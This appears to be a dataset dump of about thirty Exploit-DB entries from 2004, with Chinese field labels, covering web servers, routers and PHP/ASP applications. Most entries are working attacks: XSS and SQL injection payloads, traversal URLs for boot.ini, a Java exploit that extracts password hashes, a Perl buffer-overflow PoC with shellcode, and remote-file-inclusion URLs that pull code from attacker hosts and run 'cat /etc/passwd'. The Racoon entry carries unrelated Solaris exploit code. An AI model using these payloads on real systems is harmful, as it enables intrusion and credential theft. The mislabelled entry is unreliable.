QLWD/code_shield huggingface dataset:
标题: Novell Netware Enterprise Web Server 5.1/6.0 SnoopServlet - Information Disclosure EDB-ID: 23588 CVE: 2004-2104 类型: REMOTE 平台: NETWARE 发布日期: 2004-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9479/info
  
Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/servlet/SnoopServlet URL: https://www.exploit-db.com/exploits/23588
标题: Acme thttpd 1.9/2.0.x - CGI Test Script Cross-Site Scripting EDB-ID: 23582 CVE: 2004-2102 类型: REMOTE 平台: CGI 发布日期: 2004-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/9474/info

thttpd is prone to a cross-site scripting vulnerability in the CGI test script. This could permit a remote attacker to create a malicious link to the web server that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

It should be noted that FREESCO includes an embedded version of thttpd and is also prone to this vulnerability. 

http://www.example.com/cgi/example?test=<script>alert('xss')</script> URL: https://www.exploit-db.com/exploits/23582
标题: Finjan SurfinGate 6.0/7.0 - FHTTP Restart Command Execution EDB-ID: 23585 CVE: 2004-2107 类型: REMOTE 平台: LINUX 发布日期: 2004-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9478/info

Finjan SurfinGate is prone to a vulnerability that may permit remote attackers to execute certain management commands (using the FHTTP protocol) through the management control port (3141/TCP). It has been reported that commands could be issued to restart the server, most likely resulting in a denial of service. 

Example 1:
>>> CONNECT LOCALHOST:3141 HTTP/1.0
>>>

<<< HTTP/1.0 200 Connection established
<<< Proxy-agent: Finjan-SurfinGate/6.0
<<<

>>> FINJAN /stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>

<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<<


Example 2:
>>> FINJAN localhost:3141/stam HTTP/1.0
>>> finjan-version: fhttp/1.0
>>> finjan-command: custom
>>> finjan-parameter-category: console
>>> finjan-parameter-type: restart
>>> content-length: 0
>>>

<<< HTTP/1.0 200 OK
<<< finjan-version: fhttp/1.0
<<<
<<< URL: https://www.exploit-db.com/exploits/23585
标题: Novell Netware Enterprise Web Server 5.1/6.0 - env.bas Information Disclosure EDB-ID: 23586 CVE: 2004-2104 类型: REMOTE 平台: NETWARE 发布日期: 2004-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9479/info

Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas URL: https://www.exploit-db.com/exploits/23586
标题: Novell Netware Enterprise Web Server 5.1/6.0 - snoop.jsp Information Disclosure EDB-ID: 23587 CVE: 2004-2104 类型: REMOTE 平台: NETWARE 发布日期: 2004-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/9479/info
 
Multiple vulnerabilities have been identified in Novell Netware Enterprise Web Server that may allow an attacker to carry out cross-site scripting attacks, disclose sensitive information, and load potentially malicious files on a vulnerable server. 

http://www.example.com/examples/jsp/snp/snoop.jsp URL: https://www.exploit-db.com/exploits/23587
标题: Mephistoles HTTPd 0.6 - Cross-Site Scripting EDB-ID: 23564 CVE: 2004-2096 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/9470/info

Mephistoles 'httpd' daemon fails to sanitize user-supplied input, making it vulnerable to cross-site scripting attacks. This vulnerability allows an attacker to construct a malicious link containing HTML or script code that may be rendered in a user's browser upon visiting that link. This attack would occur in the security context of the affected server.

http://www.example.com/<script>alert("Test")</script> URL: https://www.exploit-db.com/exploits/23564
标题: anteco visual technologies ownserver 1.0 - Directory Traversal EDB-ID: 23560 CVE: 2004-2745 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9461/info

A vulnerability in OwnServer 1.0 and earlier has been reported that may allow a remote attacker to view files residing outside of the web server root directory on the affected system.

http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../../boot.ini
http://www.example.com/../../../../../boot.ini
http://www.example.com/../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/23560
标题: Darkwet Network WebcamXP 1.6.945 - Cross-Site Scripting EDB-ID: 23563 CVE: 2004-2094 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/9465/info

It has been reported that WebcamXP may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. It has been reported that HTML and script code may be parsed via a malicious URI.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

WebcamXP version 1.06.945 has been identified as vulnerable, however, other versions could be affected as well.

http://www.example.com/<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23563
标题: WebTrends Reporting Center 6.1 Management Interface - Full Path Disclosure EDB-ID: 23559 CVE: 2004-2748 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9460/info

The WebTrends Reporting Center management interface discloses installation path information when an invalid argument for an interface URI parameter is requested. This information may permit an attacker to enumerate the layout of the underlying file system of the host.

This issue was reported for version 6.1a of the software running on Microsoft Windows. Other platforms and versions may also be affected.

http://www.example.com:1099/viewreport.pl?profileid=dontexist URL: https://www.exploit-db.com/exploits/23559
标题: 2WIRE HomePortal Series - Directory Traversal EDB-ID: 23562 CVE: 2004-2749 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9463/info

It has been reported that the software is allegedly prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. This issue is reported to exist in the 'wralogin' authentication form that is accessed through the HTTPS (SSL) interface.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system. 

All versions of 2Wire HomePortal Series have been reported to be vulnerable to this issue.

<form name="wralogin" method="get"
action="http://www.example.com/wra/public/wralogin/?error=61&return=password/../../../../boot.ini">
<input type="hidden" name="authcode" value="MUQmqC/sBiXfslfYEooIJg==">
<center>
<input type="password" name="password" value="">
<input type="submit" alt="Submit" width="58" height="19" border="0"></td>
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/23562
标题: XtremeASP PhotoGallery 2.0 - 'Adminlogin.asp' SQL Injection EDB-ID: 23547 CVE: 2004-2746 类型: WEBAPPS 平台: ASP 发布日期: 2004-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9438/info

XtremeASP PhotoGallery is prone to an SQL injection vulnerability. The issue is reported to exist in the administration login interface, which does not sufficiently sanitize user-supplied input for username and password values before including it in SQL queries. This could permit remote attackers to pass malicious input to database queries.

http://www.example.com/photoalbum/admin/adminlogin.asp

If we type:

Username: 'or'
Password: 'or'

We gain admin access about the password protected
administrative pages. URL: https://www.exploit-db.com/exploits/23547
标题: YABB SE 1.x - 'SSI.php' ID_MEMBER SQL Injection EDB-ID: 23554 CVE: 2004-2754 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/9449/info

A problem with YaBB SE could make it possible for a remote user launch SQL injection attacks.

It has been reported that a problem exists in the SSI.php script distributed as part of YaBB SE. Due to insufficient sanitizing of user-supplied URI parameters, it is possible for a remote user to inject arbitrary SQL queries into the database used by YaBB SE. This could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

/*
* YabbSe SQL Injection test code
* The code is very ugly but it works OK
* Use at your own risk.
* compile:
* javac yabb.java
* exec:
* java yabb http://localhost/yabbse/yabbse154/ yabbse_ 1
* parameters are:
* java yabb [url with path] [database_prefix] [ID_MEMBER]
*/
import java.net.*;
import java.io.*;

public class yabb {
    public static void main(String[] args) throws Exception {

 boolean lastChar = false;
 String Key = "";

        for ( int count=1; count <= 32 ; count++)
        {
  URL yabbForum = new URL(args[0] +
"SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1%20OR%201=2)%20GROUP
%20BY%20readBy%20UNION%20SELECT%20ASCII(SUBSTRING(passwd,"+count+",1)%20)%20
%20,%20%200%20FROM%20"+args[1]+"members%20WHERE%20ID_MEMBER="+args[2]+"/*");

  BufferedReader in = new BufferedReader(new
InputStreamReader(yabbForum.openStream()));

  String inputLine;

  inputLine = in.readLine();

  int pos  = inputLine.indexOf("action=im");
  int pos2 = inputLine.indexOf(" ", pos + 11);

  if ( pos < 0 )
  {
   System.out.println("ERROR: The server doesn't return any data");
   System.exit(0);
  }

  String theNumber = inputLine.substring( pos + 11, pos2);

  System.out.println(theNumber + "-" + new
Character((char)Integer.parseInt(theNumber.trim())).toString());
  Key += new Character((char)Integer.parseInt(theNumber.trim())).toString();
  in.close();
 }
 System.out.println("Hashed password : " + Key);
    }
} URL: https://www.exploit-db.com/exploits/23554
标题: KAME Racoon - 'Initial Contact' SA Deletion EDB-ID: 23540 CVE: 2004-0164 类型: DOS 平台: FREEBSD 发布日期: 2004-01-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/9417/info

It has been reported that it may be possible for attackers to remotely delete security associations (SAs) in hosts running the KAME IKE daemon Racoon.

/* Sun Microsystems Solaris sysinfo() Kernel Memory Disclosure exploit
 * ===================================================================
 * Local exploitation of an integer overflow vulnerability in Sun
 * Microsystems Inc. Solaris allows attackers to read kernel memory from a
 * non-privileged userspace process. The vulnerability specifically exists
 * due to an integer overflow in /usr/src/uts/common/syscall/systeminfo.c
 *
 * Example Use.
 * $ uname -a 
 * SunOS sunos 5.11 snv_30 sun4u sparc SUNW,Ultra-250
 * $ ./prdelka-vs-SUN-sysinfo kbuf
 * [ Solaris <= 10 sysinfo() kernel memory information leak
 * [ Wrote 1294967293 bytes to kbuf
 * $ ls -al kbuf
 * -rwx------   1 user     other       1.2G Jul 21 23:56 kbuf
 *
 * -prdelka
 */
#include <sys/systeminfo.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define bufsize 1294967293

int main(int argc,char* argv[]){
        int fd;
  ssize_t out;
        char* output_buffer;
 if(argc < 2){
  printf("[ Use with <filepath>\n");
  exit(1);
 }
        printf("[ Solaris <= 10 sysinfo() kernel memory information leak\n");
 output_buffer = malloc(bufsize);
        memset(output_buffer,0,bufsize);
        sysinfo(SI_SYSNAME,output_buffer,0);
        fd = open(argv[1],O_RDWR|O_CREAT,0700);
 if(fd!=-1){
         out = write(fd,output_buffer,bufsize);
  printf("[ Wrote %u bytes to %s\n",out,argv[1]);
         close(fd);
 }
        exit(0);
} URL: https://www.exploit-db.com/exploits/23540
标题: VisualShapers EZContents 1.4/2.0 - 'module.php' Remote Command Execution EDB-ID: 23537 CVE: 2004-0070 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9396/info

A problem in handling of specific types of input passed to the module.php script in VisualShapers ezContents has been discovered. Because of this, an attacker may be able to gain unauthorized access to vulnerable systems.

http://www.example.com/module.php?link=http://attacker.example.com/index.php&cmd=cat /etc/passwd URL: https://www.exploit-db.com/exploits/23537
标题: Accipiter DirectServer 6.0 - Remote File Disclosure EDB-ID: 23533 CVE: 2004-0072 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/9389/info

This vulnerability may allow and attacker to gain access to files that reside outside of the web root directory using a specially crafted URI that contains URL-encoded variations of directory traversal sequences.

This issue has been reported to affect Windows variants of the software. It is not known if other versions are also affected.

http://www.example.com/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini URL: https://www.exploit-db.com/exploits/23533
标题: SnapStream PVS Lite 2.0 - Cross-Site Scripting EDB-ID: 23529 CVE: 2004-0046 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9375/info

SnapStream PVS Lite is prone to a cross-site scripting vulnerability. 

An attacker could exploit this issue by enticing a victim user to follow a malicious link to a system hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://www.example.com/?"><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23529
标题: Andy's PHP Projects Man Page Lookup Script - Information Disclosure EDB-ID: 23536 CVE: 2004-0071 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/9395/info

A problem in the handling of user-supplied input by Andy's PHP Projects Man Page Lookup script has been reported. Because of this, it is possible for an attacker to gain unauthorized access to sensitive information on a system.

http://www.example.com/manpage/index.php?command=/etc/resolv.conf URL: https://www.exploit-db.com/exploits/23536
标题: Edimax AR-6004 ADSL Router - Management Interface Cross-Site Scripting EDB-ID: 23528 CVE: 2004-1790 类型: REMOTE 平台: HARDWARE 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9374/info

Edimax AR-6004 ADSL Routers are prone to cross-site scripting attacks via the web management interface of affected devices. An attacker could exploit this issue by enticing a victim user to follow a malicious link to a site hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could potentially be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://www.example.com/<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23528
标题: PhpGedView 2.61 - Search Script Cross-Site Scripting EDB-ID: 23525 CVE: 2004-0032 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9369/info

PhpGedView is prone to a cross-site scripting vulnerability. Remote attackers may create malicious links to this script that include hostile HTML and script code. If such a link was followed by a victim user, the attacker-supplied code would be rendered in the security context of the site hosting the software.

This could be exploited to steal cookie-based authentication credentials. Other attacks are also possible.

This issue is reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/23525
标题: PhpGedView 2.61 - PHPInfo Information Disclosure EDB-ID: 23526 CVE: 2004-0033 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9371/info

PhpGedView allows remote users to access information displayed by the phpinfo() function. This may disclose sensitive information about the environment the software runs in.

This issue is reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://www.example.com/phpgedview_folder/admin.php?action=phpinfo URL: https://www.exploit-db.com/exploits/23526
标题: HotNews 0.x - 'hotnews-engine.inc.php3?config[header]' Remote File Inclusion EDB-ID: 23517 CVE: 2004-1796 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9357/info

HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file] URL: https://www.exploit-db.com/exploits/23517
标题: ZYXEL ZyWALL 10 Management Interface - Cross-Site Scripting EDB-ID: 23527 CVE: 2004-1789 类型: REMOTE 平台: HARDWARE 发布日期: 2004-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/9373/info

ZyWALL 10 firewalls are prone to cross-site scripting attacks via the web management interface of affected devices. An attacker could exploit this issue by enticing a victim user to follow a malicious link to a site hosting the software that contains embedded HTML and script code. The embedded code may be rendered in the web browser of the victim user.

This could potentially be exploited to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

http://<host>/Forms/rpAuth_1?ZyXEL%20ZyWALL%20Series<script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/23527
标题: ASP-Nuke 1.0/1.2/1.3 - Remote User Database Access EDB-ID: 23516 CVE: 2004-1788 类型: WEBAPPS 平台: ASP 发布日期: 2004-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9355/info

A problem has been identified in ASP-Nuke when user credentials are stored on a system. Because of this, an attacker may be able to gain unauthorized access to sensitive information.

http://www.example.com/db/main.mdb URL: https://www.exploit-db.com/exploits/23516
标题: Webcam Corp Webcam Watchdog 1.0/1.1/3.63 Web Server - Remote Buffer Overflow EDB-ID: 23514 CVE: 2004-1784 类型: REMOTE 平台: WINDOWS 发布日期: 2004-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9351/info

A problem has been identified in the handling of remote web requests by the Webcam Watchdog software. Because of this, it may be possible for a remote attacker to gain unauthorized access to a vulnerable system. 

#!/usr/bin/perl -w
#
# Stack Overflow in Webcam Watchdog - Proof of Concept Exploit
#
# - Tested on version 3.63 - MessageBoxA Shellcode
#
# - By Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[1]))
{
 print "\nUsage: wcwdpoc.pl <test_system> <port>\n" .
       "\tDefault port is 80\n\n";
 exit;
}

print "\nWebcam Watchdog 3.63 Stack Overflow PoC\n";


$target = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$ARGV[0],
                                PeerPort=>$ARGV[1])
                            or die "Unable to connect to $ARGV[0] on port $ARGV[1]";

$shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90" .
                        "\xEB\x5D\x5F\x55\x89\xE5\x81\xC4" .
                        "\xF0\xFF\xFF\xFF\x57\xFC\xB0\xFE" .
                        "\xF2\xAE\x80\x47\xFF\x30\x5F\x57" .
                        "\x31\xD2\xB9\xFF\xFF\xFF\xFF\xB2" .
                        "\x05\xB0\xFF\xF2\xAE\xFE\x47\xFF" .
                        "\x57\xFE\xCA\x80\xFA\x01\x75\xF3" .
                        "\x81\xEC\xFC\xFF\xFF\xFF\x89\xE3" .
                        "\xFF\x73\x0C\xBE\xFF\xEC\x59\x42" .
                        "\xC1\xEE\x08\xFF\x16\xFF\x73\x08" .
                        "\x50\xBE\xFF\xE4\x59\x42\xC1\xEE" .
                        "\x08\xFF\x16\x31\xC9\x51\xFF\x73" .
                        "\x04\xFF\x33\x51\xFF\xD0\xCC\x90" .
                        "\xE8\x9D\xFF\xFF\xFF\x75\x73\x65" .
                        "\x72\x33\x32\xFE\x64\x6C\x6C\xFF" .
                        "\x4D\x65\x73\x73\x61\x67\x65\x42" .
                        "\x6F\x78\x41\xFF\x57\x61\x72\x6E" .
                        "\x69\x6E\x67\x21\xFF\x54\x68\x69" .
                        "\x73\x5F\x76\x65\x72\x73\x69\x6F" .
                        "\x6E\x5F\x6F\x66\x5F\x57\x65\x62" .
                        "\x63\x61\x6D\x5F\x57\x61\x74\x63" .
                        "\x68\x64\x6F\x67\x5F\x69\x73\x5F" .
                        "\x76\x75\x6C\x6E\x65\x72\x61\x62" .
                        "\x6C\x65\x5F\x74\x6F\x5F\x72\x65" .
                        "\x6D\x6F\x74\x65\x5F\x63\x6F\x6D" .
                        "\x70\x72\x6F\x6D\x69\x73\x65\x21" .
                        "\xFF";

$ebp = "BBBB";
$eip = "\x59\xAE\xE9\x77"; # WinXP Home SP1 'kernel32.dll' - 'call esp'

$badpage = "a"x234 . $ebp . $eip . $shellcode;

$request = "GET /" . $badpage. " HTTP/1.1\r\n" .
           "User-Agent: WCSAXRView\r\n" .
           "Host: 127.0.0.1\r\n" .
           "Cache-Control: no-cache\r\n\r\n";

print $target $request;

print " + Testing remote system\n + MessageBox should appear if vulnerable!\n";

sleep(2);

close($target);

print "Done.\n";
exit; URL: https://www.exploit-db.com/exploits/23514
标题: ASPApp PortalApp - Remote User Database Access EDB-ID: 23515 CVE: 2004-1786 类型: WEBAPPS 平台: ASP 发布日期: 2004-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9354/info

A problem has been identified in ASPapp PortalApp when user credentials are stored on a system. Because of this, an attacker may be able to gain unauthorized access to sensitive information.

http://www.example.com/APP Portall/data/8275.mdb URL: https://www.exploit-db.com/exploits/23515
标题: FreznoShop 1.2.3/1.3 - Search Script Cross-Site Scripting EDB-ID: 23519 CVE: 2004-1797 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/9359/info

FreznoShop is prone to a cross-site scripting vulnerability. Remote attackers may create malicious links to the software that include hostile HTML and script code. If such a link was followed by a victim user, the attacker-supplied code would be rendered in the security context of the site hosting the software.

This could be exploited to steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/shop/search.php?search=%3Cscript%3Ealert(document.domain);%3C/script%3E URL: https://www.exploit-db.com/exploits/23519
标题: HotNews 0.x - 'config[incdir]' Remote File Inclusion EDB-ID: 23518 CVE: 2004-1796 类型: WEBAPPS 平台: PHP 发布日期: 2004-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/9357/info
 
HotNews is prone to multiple file include vulnerabilities. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/func.inc.php3
http://www.example.com/includes/hnmain.inc.php3?config[incdir]=http://[evil host]/hndefs.inc.php3 URL: https://www.exploit-db.com/exploits/23518